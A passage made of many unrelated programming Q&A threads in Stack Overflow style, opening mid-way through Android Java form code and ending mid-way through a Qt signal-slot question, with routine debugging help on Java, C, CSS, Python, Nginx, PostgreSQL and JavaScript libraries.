            nameValuePairs.add(new BasicNameValuePair("UPer4",UPer4.getText().toString()));
            nameValuePairs.add(new BasicNameValuePair("UPer5",UPer5.getText().toString()));
            nameValuePairs.add(new BasicNameValuePair("UPer6",UPer6.getText().toString()));

            nameValuePairs.add(new BasicNameValuePair("Un1",User1.getText().toString()));
            nameValuePairs.add(new BasicNameValuePair("Un2",User2.getText().toString()));
            nameValuePairs.add(new BasicNameValuePair("Un3",User3.getText().toString()));
            nameValuePairs.add(new BasicNameValuePair("Un4",User4.getText().toString()));
            nameValuePairs.add(new BasicNameValuePair("Un5",User5.getText().toString()));
            nameValuePairs.add(new BasicNameValuePair("Un6",User6.getText().toString()));
            //System.out.println(myValues.getString("value"));
            //System.out.println(Q9a.getText());

            // $Edittext_value = $_POST['Edittext_value'];
            //nameValuePairs.add(new BasicNameValuePair("password",pass.getText().toString().trim()));
            httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs));
            //Execute HTTP Post Request
            //response=httpclient.execute(httppost);

            ResponseHandler<String> responseHandler = new BasicResponseHandler();
            final String response = httpclient.execute(httppost, responseHandler);
            System.out.println("Response : " + response);
            //Entered data successfully\r\n\r\n\r\n

            if(response.equalsIgnoreCase("Entered data successfully\n\n\n")){
                runOnUiThread(new Runnable() {
                    public void run() {
                        Toast.makeText(day1q1.this,"Inserted Successully", Toast.LENGTH_SHORT).show();
                    }
                });

                myIntent=new Intent(day1q1.this, menu.class);

                String uname;
                uname=myValues.getString("value").toString();

                myIntent.putExtra("value", uname);
                startActivity(myIntent);
            }else{
                showAlert();
                startActivity(new Intent(day1q1.this, day1q1.class));
            }

        }catch(Exception e){
            dialog.dismiss();
            System.out.println("Exception : " + e.getMessage());
        }

    }

        public void showAlert(){
           this.runOnUiThread(new Runnable() {
                public void run() {
                    AlertDialog.Builder builder = new AlertDialog.Builder(day1q1.this);
                    builder.setTitle("error in inserting.");
                    builder.setMessage("not inserted.")
                           .setCancelable(false)
                           .setPositiveButton("OK", new DialogInterface.OnClickListener() {
                               public void onClick(DialogInterface dialog, int id) {
                               }
                           });
                    AlertDialog alert = builder.create();
                    alert.show();
                }
            });

        }

But now I want make it dynamic for assigning the values instead Uper1,Uper2and .. as
when selected d=1,Q=1 then I want the names as d1q1u1,d1q1u2,.... and when selected d=1,Q=2 then names as d1q2u1,d1q2u2...and when selected d=2,Q=1 then names as d2q1u1,d2q1u2...and same structure need to be follwed when selected d=2,Q=2 all values of d and q from from the previous screen selections.
So can please tell how solve this.


text:
Q: Java getActionCommand() cannot compare to a String using If statement? I'm not sure what I'm doing wrong here. I'm trying to create a basic command line using JFrame, which in future I want to create a bunch of functions that will be done based on the user's input, however, when I try to compare the ActionCommand to a string or variable, it doesn't seem to work:
`
    import javax.swing.*;
    import javax.swing.JFrame;
    import java.awt.*;
    import java.awt.event.*;
    import java.io.*;

    public class GUI extends JFrame{

private JTextField cmd;

public GUI(){
    super("Command Line V2");       //Window title
    setLayout(new FlowLayout());            //Set layout

    cmd = new JTextField("Enter Command");  //Make cmd a JTextField
    add(cmd);                               //Add cmd to the screen

    //Adding action listeners
    cmdHandler handler = new cmdHandler();
    cmd.addActionListener(handler);

}

private class cmdHandler implements ActionListener{
    public void actionPerformed(ActionEvent event){

        String butt = "Whut";

        if(event.getSource()==cmd){
            if(event.getActionCommand()==butt){

                System.out.println("Yay");
            }else{
                System.out.println("uh dear");
                System.out.println(event.getActionCommand());
            }

        }

    }
}`

This is the GUI.java page, but just incase it's needed, here's the main.java page:
        import javax.swing.*;
    import java.awt.*;
    import java.awt.event.*;
    import java.awt.FlowLayout;

    public class Main {

public static void main(String args[]){

    GUI g = new GUI();
    g.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
    g.setSize(275,180);
    g.setVisible(true);
    g.setResizable(false);
}

    }

When opened, a window opens and a JTextBox appears: "Enter Command" once I write in the command line EXACTLY what the if statement is trying to compare the "event.getActionCommand()" to, it still outputs "uh dear" (Which is what it does if it doesn't compare it to anything)
How am I supposed to fix this? Thank you.

A: When comparing objects, you must used the .equals function, else you are comparing reference.
So,
if(event.getSource()==cmd){
    if(event.getActionCommand()==butt){
        ...

Will become
if(event.getSource().equals(cmd)){
    if(event.getActionCommand().equals(butt)){
        ...


text:
Q: Do JavaScript in AppleScript works on Safari but not Chrome I have a little AppleScript with embedded Javascript that works fine on Safari, but not on Chrome.
The Safari version(non relevant portions deleted):
    tell application "Safari"
    activate
        do JavaScript "document.getElementsByName('files[]')[0].click();" in document 1
    end tell

The Chrome version:
    tell application "Google Chrome"
    activate

    tell window 1 to tell tab 1

        execute  javascript "document.getElementsByName('files[]')[0].click();"

    end tell

The chrome version returns "missing value" in Apple ScriptEditor.
I CAN get other javascript commands to work and I can get
document.getElementsByName('files[]')[0].click();

or
document.getElementsByName("files[]")[0].click();"

in the Chrome console when on the proper webpage (thought it may have something to do with double quotes - still could be I suppose).
Here is the element in question:

Add new documents for this patient

            Select Files to Upload
            <input type="file" name="files[]" multiple="">

Any ideas? I have tried so many iterations of this.
document.getElementsByClassName('btn fileinput-button')[0].children[1].click();

works in the console, but not when in AppleScript. Seems like AppleScript weirdness to me, but...
Added information:
I can get a "click" on the logon page, so it isn't a site wide issue...
tell window 1 to tell tab 1

            execute javascript "document.getElementById('username').value='someLoser';"
            execute javascript "document.getElementById('password').value='YouWish'"
            execute javascript "document.getElementsByClassName('btn btn-md btn-primary')[0].click();"

        end tell

works fine embedded in AppleScript.
Thanks.

A: I think this is related to a security issue preventing the browser from executing the click event remotely.  I was able to perform a click with jQuery and vanilla from the console in a quick test I setup, but I was unable to execute that from an AppleScript.  I got no error and it just nothing.
I found multiple similar scenarios in other questions:

*

*Clicking on JavaScript/jQuery link with Applescript

*In JavaScript can I make a "click" event fire programmatically for a file input element?


text:
Q: IE7 floats disappear when their parent is position:relative This is a pared down version of a problem I am facing with IE7.  In all other (newer) browsers, this displays fine... why does position:relative; have an effect on float: right; or float: left;?  Is there a way to keep the position: relative without sacrificing the functionality of float?
JS fiddle: http://jsfiddle.net/uW7JV/2/
Without position: relative;

With position: relative; (on the red box)

Even more trimmed-down version: http://jsfiddle.net/uW7JV/4/
Interesting... Removing the

 allows the content to show.  However, I do need that functionality there, so I'm still looking for a fix.  http://jsfiddle.net/uW7JV/9/

A: You need to add overflow: hidden to .column-wrapper so that it wraps its floating children. You won't need the .clearboth div and CSS at all after you do this.
The other issue you need to solve is column widths, since box-sizing: border-box is not supported in IE7, you need to account for your padding when assigning width.
div {
    padding: 5px 1%;
}
.column-wrapper {
    background: orange;
    position: relative;
    overflow: hidden;
}

.main {
    background: yellow;
    float: right;
    width: 64.6%;
}
.sidebar {
    float: left;
    background: green;
    width: 31.3%;
}

DEMO: http://jsfiddle.net/myajouri/uW7JV/15/
Another way to go about this is to use the Clearfix hack
.clearfix {
  zoom: 1; /* for IE6/7 */
}

.clearfix:after {
  content: "";
  display: table;
  clear: both;
}

Then add the clearfix class to .column-wrapper.


text:
Q: How to avoid experiments stopping after an OutOfMemoryError? I'm running some thousands of experiments, some of which can throw an OutOfMemoryError. The problem is that the program is stopped completely when one such an experiment throws this error. How could I make it so the program continues with the next experiment if such an error is thrown?
I'm thinking about catching the error, and forcing the garbage collector (such as talked about here Is it possible to catch out of memory exception in java?), is this a good idea?

A:
Is this a good idea?

It is a bad idea.
In my answer to a different question, I explain some of the reasons why catching OutOfMemoryError may not allow the application to recover properly.  (It depends on the nature of application and the real reason it ran out of memory.)

I'm thinking about catching the error, and forcing the garbage collector

There is no point "forcing" a garbage collection in your scenario.  If one of your experiments fails with an OOME, you can be assured the GC has just run ... and been unable to find enough free memory to continue.  Now, between the OOME being thrown and you catching it, you would how that some of the objects that were reachable via the experiments stack frames are now unreachable.  The JVM will deal with that ... by running the GC itself.

I think that a better way to solve your problem is to make your application restartable.  Have it keep a record (in a file!) of the experiments that complete and those that fail.  When an OOME occurs, record this in the file.  Then you add a "restart with the next experiment" feature to your application, and write a light-weight wrapper script to run the Java application repeatedly until it completes.
By restarting in a new JVM, you avoid having to deal with the damage that OOMEs can cause; e.g. when you have multiple threads.  And you also have a "bandaid" for OOMEs that are caused by memory leaks.  Finally, you may well find that the experiments run faster in a clean / empty heap.


text:
Q: Unable to locate file in a /tmp/ directory generated in a Spring boot application deployed on Kubernetes I am working with a spring boot application, which is deployed on a Kubernetes cluster. Here, the problem I am facing is as follows:
In my application, I am capturing the response to an external API call in the following fie:
File stateFile = File.createTempFile(StringUtils.join(documentId, "_", DOCUMENT_STATE),
        FILE_PATH_SUFFIX);

In the application log, I find that the file name is generated as follows: /tmp/b6bcc625-8daa-47a5-b403-c99569ab90b8_documentState13641944363587554481.json
But, while I am logging into the pod, I cannot find the file in /tmp/ directory of the given pod. I am not able to comprehend what is going on here. Could anyone please help here ?


text:
Q: This code doesnt show the final result when executed This C code compiles successful, however when I execute, it asks for the number, but in the end it doesnt show the final result, instead it shows an empty line:
#include <stdlib.h>
#include <string.h>
#include <math.h>

int main()
{
    int number, u, t, h, sum;
    char parity[7] = "";
    float result;

    printf("Number : ");
    scanf("%u", &number);

    u = (int)number % 10;
    t = (int)number % 100 / 10;
    h = (int)number / 100;
    sum =  u + t + h;

    if (number >= 100 && number <= 999)
    {
        if (number % 2 == 0)
        {
            strcpy(parity[7], "even");
            result = pow(sum, 2);
            printf("%u + %u + %u = %u : %s ---> %u*%u = %.0f \n", u, t, h, sum, parity[7], sum, sum, result);
        }
        else if (number % 2 == 1)
        {
            strcpy(parity[7], "odd");
            result = sqrt(sum);
            printf("%u + %u + %u = %u : %s ---> Sqrt(%u) = %.2f \n", u, t, h, sum, parity[7], sum, result);
        }
    }
    return 0;
}

A: here is the results of your posted code.
This cannot be considered a successful compile. regardless of what the compiler says
gcc -ggdb3 -Wall -Wextra -Wconversion -pedantic -std=gnu11 -c "untitled.c" -o "untitled.o"
untitled.c: In function 'main':
untitled.c:11:5: warning: implicit declaration of function 'printf' [-Wimplicit-function-declaration]
   11 |     printf("Number : ");
      |     ^~~~~~
untitled.c:11:5: warning: incompatible implicit declaration of built-in function 'printf'
untitled.c:4:1: note: include '<stdio.h>' or provide a declaration of 'printf'
    3 | #include <math.h>
  +++ |+#include <stdio.h>
    4 |
untitled.c:12:5: warning: implicit declaration of function 'scanf' [-Wimplicit-function-declaration]
   12 |     scanf("%u", &number);
      |     ^~~~~
untitled.c:12:5: warning: incompatible implicit declaration of built-in function 'scanf'
untitled.c:12:5: note: include '<stdio.h>' or provide a declaration of 'scanf'
untitled.c:12:13: warning: format '%u' expects argument of type 'unsigned int *', but argument 2 has type 'int *' [-Wformat=]
   12 |     scanf("%u", &number);
      |            ~^   ~~~~~~~
      |             |   |
      |             |   int *
      |             unsigned int *
      |            %u
untitled.c:23:26: warning: passing argument 1 of 'strcpy' makes pointer from integer without a cast [-Wint-conversion]
   23 |             strcpy(parity[7], "even");
      |                    ~~~~~~^~~
      |                          |
      |                          char
In file included from untitled.c:2:
/usr/include/string.h:122:14: note: expected 'char * restrict' but argument is of type 'char'
  122 | extern char *strcpy (char *__restrict __dest, const char *__restrict __src)
      |              ^~~~~~
untitled.c:24:22: warning: conversion from 'double' to 'float' may change value [-Wfloat-conversion]
   24 |             result = pow(sum, 2);
      |                      ^~~
untitled.c:25:42: warning: format '%s' expects argument of type 'char *', but argument 6 has type 'int' [-Wformat=]
   25 |             printf("%u + %u + %u = %u : %s ---> %u*%u = %.0f \n", u, t, h, sum, parity[7], sum, sum, result);
      |                                         ~^                                      ~~~~~~~~~
      |                                          |                                            |
      |                                          char *                                       int
      |                                         %d
untitled.c:29:26: warning: passing argument 1 of 'strcpy' makes pointer from integer without a cast [-Wint-conversion]
   29 |             strcpy(parity[7], "odd");
      |                    ~~~~~~^~~
      |                          |
      |                          char
In file included from untitled.c:2:
/usr/include/string.h:122:14: note: expected 'char * restrict' but argument is of type 'char'
  122 | extern char *strcpy (char *__restrict __dest, const char *__restrict __src)
      |              ^~~~~~
untitled.c:30:22: warning: conversion from 'double' to 'float' may change value [-Wfloat-conversion]
   30 |             result = sqrt(sum);
      |                      ^~~~
untitled.c:31:42: warning: format '%s' expects argument of type 'char *', but argument 6 has type 'int' [-Wformat=]
   31 |             printf("%u + %u + %u = %u : %s ---> Sqrt(%u) = %.2f \n", u, t, h, sum, parity[7], sum, result);
      |                                         ~^                                         ~~~~~~~~~
      |                                          |                                               |
      |                                          char *                                          int
      |                                         %d
Compilation finished successfully.

A: Try this one
#include <string.h>
#include <math.h>
#include <stdio.h>

int main()
{
    int number, u, t, h, sum;
    char parity[7];
    float result;

    printf("Number : ");
    scanf("%u", &number);

    u = (int)number % 10;
    t = (int)number % 100 / 10;
    h = (int)number / 100;
    sum =  u + t + h;

    if (number >= 100 && number <= 999)
    {
        if (number % 2 == 0)
        {
            strcpy(parity, "even");
            result = pow(sum, 2);
            printf("%d + %d + %d = %d : %s ---> %u*%u = %.0f \n", u, t, h, sum, parity, sum, sum, result);
        }
        else if (number % 2 == 1)
        {
            strcpy(parity, "odd");
            result = sqrt(sum);
            printf("%d + %d + %d = %d : %s ---> Sqrt(%u) = %.2f \n", u, t, h, sum, parity, sum, result);
        }
    }
    return 0;
}


text:
Q: Using usecols and skiprows at the same time (in Pandas read_csv) gives error I am using read_csv in Pandas v0.18.1 to read in some data. I want to choose a subset of columns and rows from the csv, so I have tried:
df_a = pd.read_csv(filepath, index_col = False, usecols=cols_to_use, skiprows=1)

This gives me a ValueError: Usecols do not match names.
Note that cols_to_use is a list of column names, but if I leave out the skiprows part:
df_a = pd.read_csv(filepath, index_col = False, usecols=cols_to_use)

it works fine, and similarly if I leave out the usecols bit and put skiprows back in, that works fine too.
Could this be a bug (that you can't use usecols and skiprows at the same time)? I've tried looking in the documentation but couldn't find any mention of it. Or perhaps there is a logical reason that you can't use both?
(Also if there is a better/more obvious way of picking out a subset of columns and rows from a csv that would be appreciated too!)
Thanks in advance!

A: If the first row of your csv file contains the column names then skiprows=1 will ignore the row with the column names and you run into the error.
If you want to skip specific rows you can provide the row numbers as a list using e.g. skiprows=[1]. The line numbers are 0-indexed, hence the column names are in line 0 and the first data line is number 1.


text:
Q: how to add a dynamic bootstrap class with vue.js? I am learning vue.js. I would like to add dynamic class values to my template. However when I try to add a bootstrap 4 class appears the following error:
v-bind' directives require an attribute value

I put the value true to the class img-fluid but I didn't solve the problem.
My template is the following:
<template>

</template>

This is the styles section:

So the class that creates problems is the bootstrap class img-fluid. Can help?

A: This is actually a plain javascript issue, as in javascript we can not have object's key with a hyphen - like:

const obj = { img-fluid: true }
console.log( obj )
//==> Uncaught SyntaxError: Unexpected token '-'

You can using a key with a hyphen gives a syntax error. We can easily fix this issue by wrapping the key in quotes like:

const obj = { 'img-fluid': true }
console.log( obj )

So, in vuejs also you can fix this like:
v-bind:class="{card:true, invisible:pc_game_invisible, 'img-fluid': true}"


text:
Q: Own Error page with Nginx won't work I want to create own error files. But I always see a white site with "File not found". I have checked it in the PHP location with the same result.
server {
    listen 443 ssl http2;
    listen [::]:443 ssl http2;

    server_name mydomain.com;

    ssl_.........

    root /var/www/html/mydomain.com;
    .....

    error_page 404 /404.php;
    location = /404.php {
        root /var/www/html/mydomain.com/errorpage;
        internal;
    }

    location ^~ /.well-known/acme-challenge/ {
        default_type text/plain;
        root /var/www/letsencrypt;
    }

    location / {
        index index.php;

        try_files $uri $uri/ @rewrite;
    }

    location @rewrite {
        rewrite ^/(site/|contact/)?([^.]+)$ /$1index.php?$2 last;
    }

    location ~ \.php$ {
        include fastcgi_params;
        fastcgi_split_path_info ^(.+\.php)(/.*)$;
        fastcgi_pass unix:/var/run/php/mydomain.com-php7.2-fpm.sock;
        fastcgi_index index.php;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        proxy_connect_timeout 900;
        proxy_send_timeout 900;
        proxy_read_timeout 900;
        fastcgi_send_timeout 900;
        fastcgi_read_timeout 900;
    }

    .....
}

I have found many tips with:
fastcgi_intercept_errors on;

And other lines. But no chance.

A: I have found a step solution.
error_page 404 /404.php;
location ~ \.php$ {
        include fastcgi_params;
        fastcgi_split_path_info ^(.+\.php)(/.*)$;
        fastcgi_pass unix:/var/run/php/mydomain.com-php7.2-fpm.sock;
        fastcgi_index index.php;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        proxy_connect_timeout 900;
        proxy_send_timeout 900;
        proxy_read_timeout 900;
        fastcgi_send_timeout 900;
        fastcgi_read_timeout 900;
        fastcgi_intercept_errors on;
    }

This will work when the 404.php is in the main directory.
When I add this
location = /404.php {
        root /var/www/html/mydomain.com/errorpage;
        internal;
    }

The 404.php will found, but it goes not into php parser and give me to download the 404.php
Have you an idea how can I fix it?


text:
Q: Making Random Forest outputs like Logistic Regression I am asking dimensional wise etc. I am trying to implement this amazing work with random forest
https://www.kaggle.com/allunia/how-to-attack-a-machine-learning-model/notebook
Both logistic regression and random forest are from sklearn but when I get weights from random forest model its (784,) while the logistic regression returns (10,784)
My most problems are mainly dimension and NaN, infinity or a value too large for dtype errors with attack methods. The weights using logical regression is (10,784) but with Random Forest its (784,) may be this caused the problem? Or can you suggest some modifications to attack methods? I tried Imputer for NaN values error but it wanted me to reshape so I've got this.
I tried applying np.mat for the dimension errors I'm getting but they didnt work.
def non_targeted_gradient(target, output, w):
    target = target.reshape(1, -1)
    output = output.reshape(1, -1)
    w = w.reshape(1,-1)
    target = imp.fit_transform(target)
    output = imp.fit_transform(output)
    w = imp.fit_transform(w)
    ww = calc_output_weighted_weights(output, w)
    for k in range(len(target)):
        if k == 0:
            gradient = np.mat((1-target[k])) * np.mat((w[k]-ww))
        else:
            gradient += np.mat((1-target[k])) * np.mat((w[k]-ww))
    return gradient

I'm probably doing lots of things wrong but the TL;DR is I'm trying to apply Random Forest instead of Logistic regression at the link above.
Edit:
I've added a wrapper for randomforestclassifier:
class RandomForestWrapper(RandomForestClassifier):
    def fit(self, *args, **kwargs):
        super(RandomForestClassifierWithCoef, self).fit(*args, **kwargs)
        self.coef_ = self.feature_importances_


text:
Q: D3 - event on chart type change Is there any callback for the chart type change in d3
I know there is a legendClick event callback which is called when we click on legend but I want a callback when I click on Grouped/Stacked types

A: You can achieve it like this:
chart.dispatch.on('stateChange', function(e) {
    nv.log('New State:', JSON.stringify(e));
});

Now when grouped is clicked it will log
New State: {"stacked":false,"disabled":[false,false,false]}
Now when stacked is clicked it will log
New State: {"stacked":true,"disabled":[false,false,false]}
Working example here
Hope thsi helps!


text:
Q: Создать из двух списков один двумерный Имеются 2 списка с равным количеством элементов. Списки создаются в процессе парсинга - 1-ый список содержит рандомные числа, 2-ой ссылки(...):
links = [, , ...]
nums = [123, 321, random-num, ...]

Задача - объединить два этих списка в один двумерный для последующего вывода ссылки и числа в одну строку - 123 , т.е 3-й список должен выглядеть так:
list3 = [[123,],[321,], [nnumber,nlink] ...]

Я пробовал использовать функцию zip() - z = zip(nums,links) , но она меня не устраивает, т.к в дальнейшем может понадобиться добавить значения в каждый из рядов или новый ряд.
Интересует также, как можно упорядочить в готовом 3ем списке элементы по убыванию значений чисел, когда я пытался это сделать функцией sorted() z = sorted(z, key=lambda tup:(tup[0])) результат был примерно таким:
10,123,11,1101,21,2222,200 - т.е числа отсортировались, но не по значению, а по первой цифре числа.

A: По поводу сортировки, вы усложняете себе жизнь — не нужно ни какой key-функции, просто
z = sorted(list3)

Пример:
sorted([[13, "aaa"], [100, "bbb"], [1, "ccc"], [3, "ddd"]])

выдает

[[1, 'ccc'], [3, 'ddd'], [13, 'aaa'], [100, 'bbb']]

На счет проблемы с zip() я тоже не понял.

A: Обычно делаю это так:
>>> links = ["", "", ""]
>>> nums = [1,123, 13]
>>> list3 = [list(x) for x in zip(nums, links)]
>>> list3
[[1, ''], [123, ''], [13, '']]
>>> sorted(list3)
[[1, ''], [13, ''], [123, '']]

A: По поводу сортировки:
In [15]: from operator import itemgetter

In [16]: list3 = [[123, 'text_1'],[321,'text_2'], [110, 'text_3'], [11, 'text_4']]

In [17]: sorted(list3, key=itemgetter(0))
Out[17]: [[11, 'text_4'], [110, 'text_3'], [123, 'text_1'], [321, 'text_2']]

На счет проблемы с zip() не совсем понятно.


text:
Q: Anime/cartoon? - redhaired kid in yellow jacket fights monster with a magic glove that dispenses food When I was young, I used to watch this anime/cartoon, but all I can remember about it is that there is a small kid wearing a yellow jacket without sleeves, whose hair was red. He fights monsters by using his magical glove which, when activated,  dispenses food (e.g., red chili, cherries) and then the boy eats the food with chopsticks, and then he gets powers. I don't remember how.
And I think there was a big white "dog" with long ears with the kid helping him with his adventure.

A: The answer to Animated series whose main character wears a red gauntlet on his arm matches to this question.
ChaeChaepong Kimchipong.

In the most peaceful village on Earth, Singleland, a boy named Tochi lives a normal life with his grandmother. One day, all the creatures that lived in their land are suddenly petrified, leaving Tochi as the lone survivor.
Bewildered and frightened, Tochi meets a travelling little witch named Milo who informs him that what happened to his village, and many other villages including her own was due to the curse of the Black Mage Army. She reveals that he wasn't petrified because he had the magical Kimchi Stalks, therefore she gives him the "Chae Chong", a summoning tool, which only the person with Kimchi Stal can own. The "Chae Chong" can summon a Kimchi Pong when you put a Kimchi Stall, a powerful magical creature, which they use to fight the Black Army.
The story follows as Tochi and Milo travel the world in search of new Kimchi Pong to save their homes and uncover the secrets behind these creatures.

An image of the protagonist with his "Chae Chong":

Anime Opening


text:
Q: Can connect to Azure VM on Port 22 but not on port 5111 I have the network security port open on 5111:

I have firewall open on port 5111:

my postgresql is on port 5111:

I've restarted the server, ran diagnostics (nothing found from azure)
I can ssh to my VM but can't connect to postgres:

Any help is appreciated, thank you!
In case outbound rule is needed, here it is configured:

A: What helped was I installed netstat and executed command netstat | grep 0.0.0.0  to see if postgres was running and listening. I found out that it wasn't listening at all.  Found out that the listen_addresses needed to be  listen_addresses = '*'. That still didn't work, so I reinstalled it with these steps and it worked: https://gist.github.com/luizomf/1a7994cf4263e10dce416a75b9180f01
# Update all your packages
sudo apt update
sudo apt upgrade -y

# Add postgresql repository and key
sudo sh -c 'echo "deb [arch=$(dpkg --print-architecture)] http://apt.postgresql.org/pub/repos/apt $(lsb_release -cs)-pgdg main" > /etc/apt/sources.list.d/pgdg.list'

wget --quiet -O - https://www.postgresql.org/media/keys/ACCC4CF8.asc | sudo apt-key add -

# Update again
sudo apt-get update

# Install pgadmin4
sudo apt install pgadmin4

# Install postgresql-13
sudo apt-get -y install postgresql-13

# Check version to see if it's correct
psql --Version

# Allow remote connections
# edit line #listen_addresses to listen_addresses = '*'
sudo nano /etc/postgresql/13/main/postgresql.conf

# edit file
sudo nano /etc/postgresql/13/main/pg_hba.conf
# add line at the end (change 192.168.0.0/24 to your network or 0.0.0.0/0 to all)
host    all     all             192.168.0.0/24            md5
# FOR SSL: add line at the end (change 192.168.0.0/24 to your network or 0.0.0.0/0 to all)
hostssl    all     all             192.168.0.0/24            md5 clientcert=1

# Restart postgres
sudo systemctl restart postgresql

# Access psql to create users, databases and passwords
sudo -u postgres psql

# Add a stronger password to default postgres user
alter user postgres with encrypted password 'the_postgres_user_password';

# Create user
create user your_username with encrypted password 'your_user_password';

# OR a superuser
CREATE ROLE your_username WITH LOGIN SUPERUSER CREATEDB CREATEROLE PASSWORD 'your_user_password';

# Create a database
CREATE DATABASE db_name2 WITH OWNER your_username;

# Grant permissions to user on database
GRANT ALL PRIVILEGES ON DATABASE db_name TO your_username;

# Read security tips here
# https://www.digitalocean.com/community/tutorials/how-to-secure-postgresql-against-automated-attacks


text:
Q: Tensorflow, possible to downweigh gradients for certain data items Say I have a multi output model with outputs y_0 and y_1.
For some data examples I am confident that y_0 is correct, but know that y_1 may be a complete guess. My idea was to use a custom training loop and multiply by a calculated weight, but this does not seem to be working. Is there a way to do this through the keras api that may be simpler than this?

            @tf.function
            def train_on_batch(x,y):

                y_true = y[:, 0]
                weights = y[:,1]

                with tf.GradientTape() as tape:
                    y_pred = model(x, training=True)
                    print("ytrainpred ", y_pred)
                    loss_value_pre = loss(y_true, y_pred)
                    loss_value = loss_value_pre * weights

                # compute gradient
                grads = tape.gradient(loss_value, model.trainable_weights)

                # update weights
                optimizer.apply_gradients(zip(grads, model.trainable_weights))

                # update metrics
                loss_1_train.update_state(y_true[:, 0], loss_value[:,0])
                loss_2_train.update_state(y_true[:, 1], loss_value[:,1)

                return loss_value

A: In the method compile of the keras object you have a parameter called loss weights to do that, you only need to implement the lost functions that take one or other output and passed as an array of losses to the loss parameter, but this becomes quite impractical if you have many ys


text:
Q: Скрипты мешают отправке сообщений phpmailler Есть проблема с отправкой писем с формы. Дело в том, что сразу после нажатия кнопки отправки, форме присваивается значение display: none; и отправка не происходит. Если я отключаю этот скрипт, то все работает исправно и письма доходят. Как решить проблему?

$(document).ready(function() {
  $('.do-submit').on('click', function(event) {
    $('.form-container').css({
      display: 'none',
    });
  });
});
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<form class="form-container" action="mail.php" method="POST">
  <input class="form"
         type="number"
         name="user_phone"
         placeholder="+7 (ххх) ххх хх хх"
         required />
  <button type="submit" class="do-submit">Отправить</button>
</form>

A: Поведение, которое Вы описываете, не наблюдается. В Вашем скрипте есть строчка
event.preventDefault();

или
return false;

не включенная в вопрос.
Уберите эту строчку.


text:
Q: Adding 1 hour to moment.js object from string I create a moment object from a string:
var scheduled_at = moment($('#event_scheduled_at').val())
console.log(scheduled_at)

> Moment {_isAMomentObject: true, _i: "2020-05-13 12:00", _f:
> "YYYY-MM-DD HH:mm", _isUTC: false, _pf: {…}, …}

Then I want to add 1 hour:
var ends_at = scheduled_at.add(1, 'h')
console.log(ends_at)

> Moment {_isAMomentObject: true, _i: "2020-05-13 12:00", _f:
> "YYYY-MM-DD HH:mm", _isUTC: false, _pf: {…}, …}

As you can see it's still 12:00. What am I doing wrong?
I have tried:
scheduled_at.add(1, 'h')
console.log(scheduled_at)

With the same result.

A: As discussed in this thread, the add function mutates the object it's called on (in this case, scheduled_at)


text:
Q: QT 5 - Can't get connect to work with the Slot in a different class So this is my first QT program and I can't get it to work as intended.
I tried to connect buttons to functions in the Player class.
The compiler shows me no errors but the program doesn't reach the functions when I press the buttons except for the function showPoints() in MainWindow.
I also know there is something wrong in my showPoints() function as it doesn't hide the lcdNumbers.
Here is my code:
    #ifndef MAINWINDOW_H
#define MAINWINDOW_H

#include <QMainWindow>
#include <QObject>

#include "player.h"

namespace Ui {
class MainWindow;
}

class MainWindow : public QMainWindow
{
    Q_OBJECT
public:

    explicit MainWindow(QWidget *parent = nullptr);
    ~MainWindow();
    Ui::MainWindow *ui;
public slots:
    void showPoints();
};

#endif // MAINWINDOW_H

maindwindow.h
    #include "mainwindow.h"
#include "ui_mainwindow.h"

#include <QWidget>
#include <QTextEdit>
#include <QDebug>

MainWindow::MainWindow(QWidget *parent) :
    QMainWindow(parent),
    ui(new Ui::MainWindow)
{
    ui->setupUi(this);
    Player playerOne(nullptr, ui->textEdit_outputPlayerOne, ui->lcdNumber_pointsPlayerOne),
           playerTwo(nullptr, ui->textEdit_outputPlayerTwo, ui-> lcdNumber_pointsPlayerTwo);

   // connect(ui->pushButton_normalPlayerOne ,SIGNAL(clicked()), &playerOne, SLOT(addNormal()));
    connect(ui->pushButton_normalPlayerOne, &QPushButton::clicked, &playerOne, &Player::addNormal);
    connect(ui->pushButton_normalPlayerTwo ,SIGNAL(clicked()), &playerTwo, SLOT(addNormal()));
    connect(ui->pushButton_rarePlayerOne ,SIGNAL(clicked()), &playerOne, SLOT(addRare()));
    connect(ui->pushButton_rarePlayerTwo ,SIGNAL(clicked()), &playerTwo, SLOT(addRare()));
    connect(ui->pushButton_epicPlayerOne ,SIGNAL(clicked()), &playerOne, SLOT(addEpic()));
    connect(ui->pushButton_epicPlayerTwo ,SIGNAL(clicked()), &playerTwo, SLOT(addEpic()));
    connect(ui->pushButton_LegendaryPlayerOne ,SIGNAL(clicked()), &playerOne, SLOT(addLegendary()));
    connect(ui->pushButton_legendaryPlayerTwo ,SIGNAL(clicked()), &playerTwo, SLOT(addLegendary()));
    connect(ui->pushButton_goldenNormalPlayerOne ,SIGNAL(clicked()), &playerOne, SLOT(addGoldenNormal()));
    connect(ui->pushButton_goldenNormalPlayerTwo ,SIGNAL(clicked()), &playerTwo, SLOT(addGoldenNormal()));
    connect(ui->pushButton_goldenRarePlayerOne ,SIGNAL(clicked()), &playerOne, SLOT(addGoldenRare()));
    connect(ui->pushButton_goldenRarePlayerTwo ,SIGNAL(clicked()), &playerTwo, SLOT(addGoldenRare()));
    connect(ui->pushButton_goldenEpicPlayerOne ,SIGNAL(clicked()), &playerOne, SLOT(addGoldenEpic()));
    connect(ui->pushButton_goldenEpicPlayerTwo ,SIGNAL(clicked()), &playerTwo, SLOT(addGoldenEpic()));
    connect(ui->pushButton_goldenLegendaryPlayerOne ,SIGNAL(clicked()), &playerOne, SLOT(addGoldenLegendary()));
    connect(ui->pushButton_goldenLegendaryPlayerTwo ,SIGNAL(clicked()), &playerTwo, SLOT(addGoldenLegendary()));
    connect(ui->pushButton_pointsPlayerOne ,SIGNAL(clicked()), &playerOne, SLOT(addRoundPoints()));
    connect(ui->pushButton_pointsPlayerTwo ,SIGNAL(clicked()), &playerTwo, SLOT(addRoundPoints()));

    //connect(ui->pushButton_showPoints, SIGNAL(clicked()), this, SLOT(showPoints()));
    connect(ui->pushButton_showPoints, &QPushButton::clicked, this, &MainWindow::showPoints);
}

MainWindow::~MainWindow()
{
    delete ui;
}

void MainWindow::showPoints()
{
    qDebug() << "hitting the method";
    if(ui->lcdNumber_pointsPlayerOne->isVisible() == true)
    {
        ui->lcdNumber_pointsPlayerOne->hide();
        ui->lcdNumber_pointsPlayerTwo->hide();
    }
